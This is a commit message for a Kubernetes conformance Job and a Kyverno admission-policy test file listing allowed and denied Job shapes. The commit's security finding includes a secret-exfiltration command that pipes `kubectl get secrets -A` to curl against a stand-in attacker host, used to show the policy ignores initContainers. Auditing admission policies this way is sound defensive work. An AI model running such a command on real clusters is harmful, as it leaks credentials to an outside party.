`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
62 lines
2.4 KiB
YAML
62 lines
2.4 KiB
YAML
# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
|
|
#
|
|
# Each DENY case below is a real escalation path, not a style violation. The one that matters
|
|
# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
|
|
# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
|
|
# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
|
|
# this policy.
|
|
#
|
|
# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
|
|
# never fires and every case trivially passes — a test that proves nothing.
|
|
apiVersion: cli.kyverno.io/v1alpha1
|
|
kind: Test
|
|
metadata:
|
|
name: conformance-trigger-job-shape
|
|
policies:
|
|
- ../../admission/conformance-trigger-job-shape.yaml
|
|
resources:
|
|
- resources.yaml
|
|
userinfo: user-info.yaml
|
|
results:
|
|
# ---- the committed run is ADMITTED ----
|
|
# `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
|
|
# init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
|
|
# so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
|
|
# 2am against the live cluster. `good-run` remains the minimal shape.
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-may-create-only-the-committed-conformance-run
|
|
kind: Job
|
|
resources: [good-run, real-template]
|
|
result: pass
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-volumes-must-be-workspace-or-results
|
|
kind: Job
|
|
resources: [good-run, real-template]
|
|
result: pass
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-args-must-be-the-committed-flags
|
|
kind: Job
|
|
resources: [good-run, real-template]
|
|
result: pass
|
|
|
|
# ---- THE escalation: runner SA + arbitrary command ----
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-may-create-only-the-committed-conformance-run
|
|
kind: Job
|
|
resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
|
|
result: fail
|
|
|
|
# ---- an extra volume is the way out of a constrained pod ----
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-volumes-must-be-workspace-or-results
|
|
kind: Job
|
|
resources: [extra-volume]
|
|
result: fail
|
|
|
|
# ---- args beyond the committed flags ----
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-args-must-be-the-committed-flags
|
|
kind: Job
|
|
resources: [injected-args]
|
|
result: fail
|